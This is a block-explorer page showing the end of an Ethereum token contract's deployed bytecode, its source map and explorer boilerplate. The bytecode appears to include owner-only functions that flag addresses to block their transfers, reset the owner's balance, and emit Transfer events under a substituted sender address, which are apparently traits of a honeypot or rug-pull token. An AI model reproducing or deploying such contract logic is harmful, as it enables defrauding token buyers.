6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110249190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110aa919061163f565b60405180910390a360019050611270565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661126f57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561115757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111a591906117e0565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111fa9190611814565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125e919061163f565b60405180910390a360019050611270565b5b92915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036113105780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60016020528060005260406000206000915090505481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361140357600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b565b60006020528060005260406000206000915090505481565b6003602052816000526040600020602052806000526040600020600091509150505481565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061147282611447565b9050919050565b61148281611467565b811461148d57600080fd5b50565b60008135905061149f81611479565b92915050565b6000602082840312156114bb576114ba611442565b5b60006114c984828501611490565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561150c5780820151818401526020810190506114f1565b60008484015250505050565b6000601f19601f8301169050919050565b6000611534826114d2565b61153e81856114dd565b935061154e8185602086016114ee565b61155781611518565b840191505092915050565b6000602082019050818103600083015261157c8184611529565b905092915050565b6000819050919050565b61159781611584565b81146115a257600080fd5b50565b6000813590506115b48161158e565b92915050565b600080604083850312156115d1576115d0611442565b5b60006115df85828601611490565b92505060206115f0858286016115a5565b9150509250929050565b60008115159050919050565b61160f816115fa565b82525050565b600060208201905061162a6000830184611606565b92915050565b61163981611584565b82525050565b60006020820190506116546000830184611630565b92915050565b60008060006060848603121561167357611672611442565b5b600061168186828701611490565b935050602061169286828701611490565b92505060406116a3868287016115a5565b9150509250925092565b600060ff82169050919050565b6116c3816116ad565b82525050565b60006020820190506116de60008301846116ba565b92915050565b6000602082840312156116fa576116f9611442565b5b6000611708848285016115a5565b91505092915050565b6000806040838503121561172857611727611442565b5b600061173685828601611490565b925050602061174785828601611490565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179857607f821691505b6020821081036117ab576117aa611751565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117eb82611584565b91506117f683611584565b925082820390508181111561180e5761180d6117b1565b5b92915050565b600061181f82611584565b915061182a83611584565b9250828201905080821115611842576118416117b1565b5b9291505056fea2646970667358221220dab6c00ad8087c38a5118164f0465dfe2be0133023761debeaea944f3ee10a2564736f6c63430008110033
Deployed Bytecode Sourcemap
1515:3292:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3767:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1751:40;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3303:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1879:66;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4150:656;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3878:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1846:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2459:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3657:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2610:135;;;:::i;:::-;;1798:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2759:532;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4032:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1590:38;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3524:121;;;:::i;:::-;;1545:38;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1670:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3767:101;3827:9;;;;;;;;;;;3813:23;;:10;:23;;;3810:57;;3860:5;3851:2;:6;3854:2;3851:6;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;3810:57;3767:101;:::o;1751:40::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3303:209::-;3368:12;3430:5;3397:9;:21;3407:10;3397:21;;;;;;;;;;;;;;;:30;3419:7;3397:30;;;;;;;;;;;;;;;:38;;;;3472:7;3451:36;;3460:10;3451:36;;;3481:5;3451:36;;;;;;:::i;:::-;;;;;;;;3505:4;3498:11;;3303:209;;;;:::o;1879:66::-;;;;:::o;4150:656::-;4229:12;4268:9;;;;;;;;;;;4260:17;;:4;:17;;;4257:247;;4308:2;:8;4311:4;4308:8;;;;;;;;;;;;;;;;4299:5;:17;;4291:26;;;;;;4345:9;:15;4355:4;4345:15;;;;;;;;;;;;;;;:27;4361:10;4345:27;;;;;;;;;;;;;;;;4336:5;:36;;4328:45;;;;;;4396:5;4384:2;:8;4387:4;4384:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;4424:5;4414:2;:6;4417:2;4414:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;4469:2;4446:33;;4456:11;;;;;;;;;;;4446:33;;;4473:5;4446:33;;;;;;:::i;:::-;;;;;;;;4497:4;4490:11;;;;4257:247;4524:2;:8;4527:4;4524:8;;;;;;;;;;;;;;;;;;;;;;;;;4523:9;:20;;;;;4537:2;:6;4540:2;4537:6;;;;;;;;;;;;;;;;;;;;;;;;;4536:7;4523:20;4520:285;;;4573:2;:8;4576:4;4573:8;;;;;;;;;;;;;;;;4564:5;:17;;4556:26;;;;;;4610:9;:15;4620:4;4610:15;;;;;;;;;;;;;;;:27;4626:10;4610:27;;;;;;;;;;;;;;;;4601:5;:36;;4593:45;;;;;;4661:5;4649:2;:8;4652:4;4649:8;;;;;;;;;;;;;;;;:17;;;;;;;:::i;:::-;;;;;;;;4687:5;4677:2;:6;4680:2;4677:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;4734:5;4703:9;:15;4713:4;4703:15;;;;;;;;;;;;;;;:27;4719:10;4703:27;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;4770:2;4755:25;;4764:4;4755:25;;;4774:5;4755:25;;;;;;:::i;:::-;;;;;;;;4798:4;4791:11;;;;4520:285;4150:656;;;;;;:::o;3878:139::-;3940:9;;;;;;;;;;;3926:23;;:10;:23;;;3923:93;;3973:2;:6;3976:2;3973:6;;;;;;;;;;;;;;;;;;;;;;;;;3972:7;3964:16;;;;;;4000:4;3991:2;:6;3994:2;3991:6;;;;;;;;;;;;;;;;:13;;;;;;;;;;;;;;;;;;3923:93;3878:139;:::o;1846:26::-;;;;;;;;;;;;;:::o;2459:143::-;2544:5;;;;;;;;;;;2530:19;;:10;:19;;;2522:28;;;;;;2583:7;2562:37;;2579:1;2562:37;;;2592:6;2562:37;;;;;;:::i;:::-;;;;;;;;2459:143;;:::o;3657:98::-;3714:7;3741:2;:11;3744:7;3741:11;;;;;;;;;;;;;;;;3734:18;;3657:98;;;:::o;2610:135::-;2675:5;;;;;;;;;;;2661:19;;:10;:19;;;2653:28;;;;;;2712:5;;;;;;;;;;;2693:25;;;;;;;;;;;;2741:1;2725:5;;:18;;;;;;;;;;;;;;;;;;2610:135::o;1798:41::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2759:532::-;2820:12;2879:9;;;;;;;;;;;2865:23;;:10;:23;;;2862:209;;2928:5;2910:2;:14;2913:10;2910:14;;;;;;;;;;;;;;;;:23;;2902:32;;;;;;2963:5;2945:2;:14;2948:10;2945:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;2991:5;2981:2;:6;2984:2;2981:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;3036:2;3013:33;;3023:11;;;;;;;;;;;3013:33;;;3040:5;3013:33;;;;;;:::i;:::-;;;;;;;;3064:4;3057:11;;;;2862:209;3087:2;:14;3090:10;3087:14;;;;;;;;;;;;;;;;;;;;;;;;;3083:207;;3140:5;3122:2;:14;3125:10;3122:14;;;;;;;;;;;;;;;;:23;;3114:32;;;;;;3175:5;3157:2;:14;3160:10;3157:14;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;3203:5;3193:2;:6;3196:2;3193:6;;;;;;;;;;;;;;;;:15;;;;;;;:::i;:::-;;;;;;;;3255:2;3234:31;;3243:10;3234:31;;;3259:5;3234:31;;;;;;:::i;:::-;;;;;;;;3283:4;3276:11;;;;3083:207;2759:532;;;;;:::o;4032:106::-;4092:9;;;;;;;;;;;4078:23;;:10;:23;;;4075:61;;4133:1;4116:2;:14;4119:10;4116:14;;;;;;;;;;;;;;;:18;;;;4075:61;4032:106;:::o;1590:38::-;;;;;;;;;;;;;;;;;:::o;3524:121::-;3577:9;;;;;;;;;;;3563:23;;:10;:23;;;3560:84;;3618:2;:14;3621:10;3618:14;;;;;;;;;;;;;;;;3601:2;:14;3604:10;3601:14;;;;;;;;;;;;;;;:31;;;;3560:84;3524:121::o;1545:38::-;;;;;;;;;;;;;;;;;:::o;1670:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:329::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:474::-;5591:6;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;5523:474;;;;;:::o;6003:180::-;6051:77;6048:1;6041:88;6148:4;6145:1;6138:15;6172:4;6169:1;6162:15;6189:320;6233:6;6270:1;6264:4;6260:12;6250:22;;6317:1;6311:4;6307:12;6338:18;6328:81;;6394:4;6386:6;6382:17;6372:27;;6328:81;6456:2;6448:6;6445:14;6425:18;6422:38;6419:84;;6475:18;;:::i;:::-;6419:84;6240:269;6189:320;;;:::o;6515:180::-;6563:77;6560:1;6553:88;6660:4;6657:1;6650:15;6684:4;6681:1;6674:15;6701:194;6741:4;6761:20;6779:1;6761:20;:::i;:::-;6756:25;;6795:20;6813:1;6795:20;:::i;:::-;6790:25;;6839:1;6836;6832:9;6824:17;;6863:1;6857:4;6854:11;6851:37;;;6868:18;;:::i;:::-;6851:37;6701:194;;;;:::o;6901:191::-;6941:3;6960:20;6978:1;6960:20;:::i;:::-;6955:25;;6994:20;7012:1;6994:20;:::i;:::-;6989:25;;7037:1;7034;7030:9;7023:16;;7058:3;7055:1;7052:10;7049:36;;;7065:18;;:::i;:::-;7049:36;6901:191;;;;:::o
Swarm Source
ipfs://dab6c00ad8087c38a5118164f0465dfe2be0133023761debeaea944f3ee10a25
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.